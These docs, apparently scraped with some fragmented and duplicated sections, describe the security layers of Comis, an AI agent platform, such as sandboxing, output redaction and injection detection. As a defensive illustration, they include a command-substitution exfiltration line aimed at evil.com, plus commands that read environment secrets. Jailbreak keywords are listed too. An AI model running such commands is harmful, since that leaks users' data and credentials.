How the Layers Work Together
Every message passes through six security checkpoints as it moves through Comis. Each checkpoint has its own set of protections, and the layers at each checkpoint work independently. This means a failure in one layer does not compromise the others.- At the gateway — Bearer token authentication and (optionally) mTLS verify the client before the request enters Comis
- When a message arrives — Input is validated, scanned for manipulation, rate-limited, and (for email) sender-filtered before your agent sees it
- When skills load — Skill content is scanned for threats and sanitized before it can influence your agent
- When the agent acts — Actions are classified, restricted by tool policy, may require approval, shell commands are inspected for substitution, and the exec tool runs inside an OS-level filesystem sandbox
- When a response is sent — Output is scanned for leaked secrets and canary token extraction before the user sees it
- When data is stored — Memory writes are validated, secrets are encrypted, and config is redacted
Security Layers
At the Gateway
Comis exposes its HTTP, JSON-RPC, and WebSocket endpoints through a single gateway. Two layers protect that perimeter before any request even reaches the input checkpoint.Bearer Token Authentication
Bearer Token Authentication
crypto.timingSafeEqual() — the
server compares against every entry even when the first one already
matched — so attackers cannot probe valid tokens by measuring response
time. Each token has a list of allowed scopes (e.g., rpc, ws,
admin).Why it matters: Without authentication, anyone who can reach the
gateway can drive your agents, read messages, and edit configuration.
Timing-safe comparison closes the side-channel that naive string
equality opens.Do I need to configure it? Yes — supply tokens under
gateway.tokens in your config. See Hardening for
a worked example.mTLS (Mutual TLS)
mTLS (Mutual TLS)
X509Certificate)
and — when configured — requires clients to present a valid certificate
signed by the configured CA. Client identity is extracted from the cert’s
Common Name (CN).Why it matters: TLS encrypts traffic so bearer tokens cannot be
intercepted on the network. Mutual TLS extends that to client
authentication: only holders of an enrolled cert can connect at all.Do I need to configure it? Optional but recommended for any remote
deployment. Set gateway.tls.certPath, keyPath, and caPath. See
Hardening for the full setup.When a Message Arrives
The first checkpoint protects against malicious or malformed input. These layers run before your agent processes the message.Input Validation
Input Validation
Jailbreak Detection
Jailbreak Detection
ignore, previous, instructions, system,
bypass, override, forget, delete).Why it matters: Catches attempts to trick your agent into ignoring its
safety instructions. Even sophisticated multi-step manipulation attempts are
detected.Do I need to configure it? No. Active by default in “warn” mode — it
reinforces agent instructions when suspicious patterns are detected without
blocking messages outright. Configurable thresholds: mediumThreshold
(default 0.4), highThreshold (default 0.7), action (warn default,
or block).Injection Rate Limiting
Injection Rate Limiting
External Content Wrapping
External Content Wrapping
email, webhook, api, file_read, web_fetch,
channel_metadata, web_search, document.Do I need to configure it? No. Automatically applied to all external
content sources.Email Sender Filter
Email Sender Filter
allowlist (default) closes the door unless the sender appears in
allowFrom; mode open accepts any sender. The filter also auto-detects
bulk and automated email by inspecting RFC 3834 Auto-Submitted,
Precedence, List-Unsubscribe, and X-Auto-Response-Suppress headers,
plus noreply address patterns.Why it matters: Email is the easiest way to inject prompts into an
agent. A locked-down sender list keeps adversaries from emailing your
agent at all.Do I need to configure it? Yes if you enable the email channel. Set
channels.email.allowMode and channels.email.allowFrom in your config.
The default is fail-closed: empty allowlist blocks everything.When Skills Load
Custom skills can contain anything — including dangerous instructions. These layers ensure that skill content is safe before your agent uses it.Content Scanning
Content Scanning
skills.contentScanning.enabled: true,
skills.contentScanning.blockOnCritical: trueSanitization Pipeline
Sanitization Pipeline
When the Agent Acts
Once your agent decides to take an action, these layers control what it is allowed to do and how much it can spend. This is where tool restrictions, action classifications, human approval, and network safety come into play. This checkpoint has the most layers because agent actions carry the highest risk.Tool Policy
Tool Policy
full (unrestricted).
For production, restrict each agent to the minimum set of tools it needs.
See Tool Policy to restrict access.Action Classification
Action Classification
security.actionConfirmation.requireForDestructive: true,
security.actionConfirmation.requireForSensitive: falseApproval Gate
Approval Gate
- Denial cache (60s by default) auto-denies an identical request that was just denied
- Approval cache (30s by default) auto-approves an identical request that was just approved (set to 0 to disable batching)
approvals.enabled: false,
approvals.defaultTimeoutMs: 300000,
approvals.denialCacheTtlMs: 60000,
approvals.batchApprovalTtlMs: 30000Budget Protection
Budget Protection
SSRF Protection
SSRF Protection
Safe Path
Safe Path
Exec Security Validator
Exec Security Validator
$(...), backtick substitution `...`,
process substitution <(...) and >(...), zsh process substitution
=(...), and zsh equals expansion (=cmd at a word boundary). The
validator is quote-aware: a state machine tracks whether the parser
is inside single quotes (where these patterns are safe), double quotes,
or backticks, so legitimate strings containing $( are not flagged.Why it matters: The OS sandbox isolates the filesystem, but it does
not parse shell syntax. A command like
cat workspace/file > $(curl evil.com/exfil) runs inside the sandbox
and exfiltrates data to an attacker. This validator rejects the
command before it ever reaches the shell.Do I need to configure it? No. Always active for the system.exec
tool.Exec Sandbox
Exec Sandbox
system.exec tool command in an OS-level
filesystem sandbox (bubblewrap on Linux, sandbox-exec on macOS).
The sandboxed process can only see the agent’s workspace, the graph
shared directory, and system binaries — everything else on the host
filesystem is invisible.Why it matters: File tools (read, write, edit) are protected by
Safe Path validation, but the exec tool spawns a full shell that can
access any path. Without the sandbox, an agent could bypass file tool
restrictions by running exec cat /path/to/secret instead of using
the read tool. The OS sandbox closes this gap at the kernel level.Important scope note: The exec sandbox protects only the
system.exec tool. Built-in tools that run inside the daemon process
(Node-resident skills, MCP stdio servers, image-gen helpers) are not
wrapped by this sandbox — their security relies on the application-level
layers above (tool policy, content scanner, SSRF guard, safe path).Do I need to configure it? Enabled by default. On Linux, install
bubblewrap (apt install bubblewrap). On macOS, sandbox-exec is
built in. Set execSandbox.enabled: "never" to disable (not
recommended). See Exec Sandbox.Credential Broker
Credential Broker
cat /proc/self/environ and env reveal nothing
useful. Every inject, deny, and blocked-egress event is audited on the
event bus with agentId and traceId. On Linux, the credentialed sandbox
runs in broker-only network mode where the broker unix socket is the
only bind-mounted network path — making it the only reachable egress
destination for driven-CLI traffic (kernel-enforced; validated on the Linux
production host class). The broker is fail-closed: no binding
or missing secret means the request is refused rather than forwarded.Why it matters: Even inside a filesystem sandbox, a process can read
its own environment variables. The credential broker removes the credential
from that environment entirely, so no amount of prompt injection or sandbox
escape can extract the real API key from inside the namespace.Do I need to configure it? Yes — configure an executor.broker.bindings
entry for each CLI you want to drive. Two built-in presets ship today:
anthropic and finnhub. Custom hostRules cover any other host.
See Credential Broker.When a Response Is Sent
Before any message reaches the user, these layers perform a final safety check. They are your last line of defense against leaked secrets and prompt extraction.Output Guard
Output Guard
[REDACTED:pattern_name] before the response reaches the user. The
guard also runs the two prompt-extraction patterns (system_prompt_label,
instructions_label), the canary token check, and an exact-match redaction
of the daemon’s own known secret values (e.g. the resolved gateway token) —
this catches a bare high-entropy secret that has no key=/token: prefix for
the regex patterns to anchor on, with zero false-positive risk.Why it matters: Even if your agent accidentally includes a secret in
its response, users never see it.Do I need to configure it? No. Always active. Redaction happens
automatically before the message leaves Comis.Canary Tokens
Canary Tokens
Log Sanitization
Log Sanitization
sk-,
Bearer, Telegram bot, AWS access key, AWS secret key, Stripe, Google,
Slack app, SendGrid, JWT, DB connection strings, URL passwords, Discord
bot, hex secrets, GitHub tokens). Inputs over 1 MB pass through unchanged
to avoid ReDoS on oversized strings.Pino’s structured-field redactor is the first line of defense and
auto-redacts the canonical credential keys (apiKey, token, password,
secret, authorization, botToken, privateKey, cookie,
webhookSecret) up to three levels deep. The Log Sanitizer is a regex
safety net for credentials that escape into free-text log messages.Why it matters: Prevents accidental credential exposure in log files,
which are often shared with team members for debugging or sent to log
aggregation services.Do I need to configure it? Enabled by default. Toggle with
security.logRedaction: true (default).When Data Is Stored
The final checkpoint protects data at rest. These layers ensure that stored memories, secrets, and configuration values cannot be compromised even if someone gains access to your server’s file system.Memory Write Validation
Memory Write Validation
Encrypted Secrets (SecretsCrypto)
Encrypted Secrets (SecretsCrypto)
comis-secrets-v1) is versioned so the
algorithm can be rotated without breaking older ciphertexts. Even if
someone accesses your files, they cannot read secrets without the master
key.Why it matters: Protects credentials at rest. Essential for any
production deployment where server files could potentially be accessed by
unauthorized parties.Do I need to configure it? No — enabled by default. See
Secrets to manage the master key or switch the
storage backend.Default: security.storage: encryptedCentralized Secret Access (SecretManager)
Centralized Secret Access (SecretManager)
SecretManager interface with only four methods (get, has,
require, keys). Direct process.env access is forbidden by an
ESLint rule, so the manager is the only auditable path to a credential.
The manager takes a defensive copy of the env on creation — mutations to
process.env after startup do not change what the manager exposes — and
has no enumeration / getAll() escape hatch.Why it matters: Centralizing credential access means every read can
be logged, scoped, or denied. ESLint enforcement means a developer cannot
accidentally bypass it.Do I need to configure it? No. Always active.Per-Agent Secret Scoping (ScopedSecretManager)
Per-Agent Secret Scoping (ScopedSecretManager)
SecretManager per agent. Each agent
gets a glob-pattern allowlist (secrets.allow: ["openai_*", ...]) that
filters which secret names it can read. Successful reads, denied reads,
and missing-key reads all emit secret:accessed audit events tagged with
the agent ID. An empty allowlist falls back to unrestricted access (with
a one-time warning) for backward compatibility.Why it matters: Implements least-privilege at the credential layer. A
customer-support agent never needs your AWS keys; this layer makes that
explicit and auditable.Do I need to configure it? Yes — recommended for production. Set
agents.<id>.secrets.allow per agent. See Secrets.Multi-Source Secret Resolution (SecretRefResolver)
Multi-Source Secret Resolution (SecretRefResolver)
${VAR} or
SecretRef objects from three providers:- env — routed through
SecretManagerfor auditability - file — absolute path, regular-file check, no symlinks to
restricted paths, max 1MB, JSON Pointer extraction via
provider#/json/pointer - exec — launches a credential helper, sends a versioned JSON-RPC request, validates the response shape, 10-second default timeout
pass, 1Password, aws-vault, or a
sealed file at deploy time) without any plaintext on disk.Do I need to configure it? No — the resolver runs whenever your
config contains a SecretRef. See
Secret Manager Reference for the full
syntax.Config Redaction
Config Redaction
[REDACTED].Why it matters: Prevents credential exposure through the management API
or dashboard views.Do I need to configure it? No. Always active for config read operations.
Both the HTTP API and the web dashboard use this redaction layer.Build-Time Enforcement
In addition to the 24 runtime primitives above, Comis enforces four security rules at lint time (pnpm lint:security). CI fails if any of them
trip:
- No
eval()— viasecurity/detect-eval-with-expression - No
Function()constructor — equivalent toeval, banned via AST selector - No raw
path.join()— forces every path operation throughsafePath() - No direct
process.env— forces every credential access throughSecretManager
Putting It All Together
With 22 categorical layers (24 runtime primitives plus 4 build-time ESLint rules) working across 6 checkpoints, the security model ensures that threats are caught at multiple stages. Even in the worst case — where several layers fail simultaneously — the remaining layers still provide meaningful protection. Most of the layers listed above are automatic and require no configuration. The ones that do need setup — gateway tokens, mTLS, encrypted secrets, approval workflows, tool policy, email allowlist — are covered in their own dedicated guides. You can verify that all layers are properly configured by runningcomis doctor, which checks your installation against recommended
security practices. See Hardening for the full
walkthrough.
Local Model Security Posture (v2.14)
The Model-Independent Guarantee
The Comis security guarantee is a property of the platform, not the model. When you configure a local or quantized model (e.g., qwen3.6:27b, qwen3.6:35b-mlx), the following platform controls are enforced regardless of which model is configured:| Control | Enforced by | What it prevents |
|---|---|---|
| Output redaction | OutputGuard | Credential and canary token leak in agent responses |
| Memory recall trust-filter | FROZEN_TRUST_PATHS | Injected or fabricated memories from elevating trust level |
| Untrusted content wrapping | wrapExternalContent | Tool results, image inputs, and external content treated as untrusted |
| Memory write validation | MemoryWriteValidator | Unauthorized memory writes or privilege-escalation via memory injection |
| Exec 13-gate denylist + bwrap sandbox | Exec security layer | Shell command injection and filesystem escape |
| Canary token | Per-session canary | Exfiltration detection (canary in output → blocked) |
| Input security guard | InputSecurityGuard | Prompt injection patterns in inbound messages |
OutputGuard, FROZEN_TRUST_PATHS, and the exec sandbox does not depend on the model’s instruction-following quality.
securityLevel Scales Inversely with capabilityClass
When capabilityClass is set to a weaker class (e.g., via providers.entries.<id>.capabilities.capabilityClass: small), the platform automatically increases lockdown intensity:
capabilityClass | securityLevel | Lockdown behavior |
|---|---|---|
frontier | standard | Standard safety reinforcement |
mid | hardened | Hardened warning in compact-secure prompt |
small | locked | Mandatory sandbox restriction line injected into compact-secure prompt |
nano | locked | Same as small |
| Unknown / unresolved | locked | Fail-closed: unknown model defaults to the most-locked class |
contextEngine.compactPrompt.enabled=true) always retains the full safety core regardless of capabilityClass.
Egress Governance Posture
Local-only egress is the default. When running Comis with a local model (Ollama), no model inference data leaves the device. This is the documented and recommended posture for privacy-sensitive deployments. Off-device escalation to a cloud model (Phase 156 / E1+S5) is deferred and not currently built. When implemented, it will require:- Explicit operator opt-in
OutputGuardredaction of all payloads before off-device transmission- Payload scope-limit (no full context exfiltration)
- Canary token in escalated payload (exfiltration detection)
Recommended Secure Local Model Setup
See the qwen3.6 configuration reference for the completeconfig.yaml snippet with all security-relevant settings.
For model selection guidance: use general-purpose qwen3.6 variants (not coding-tuned models) for agent reliability. Coding-tuned models can exhibit goal fixation that the GoalAnchor and verification critic are designed to detect and correct — but general models avoid the issue in the first place.
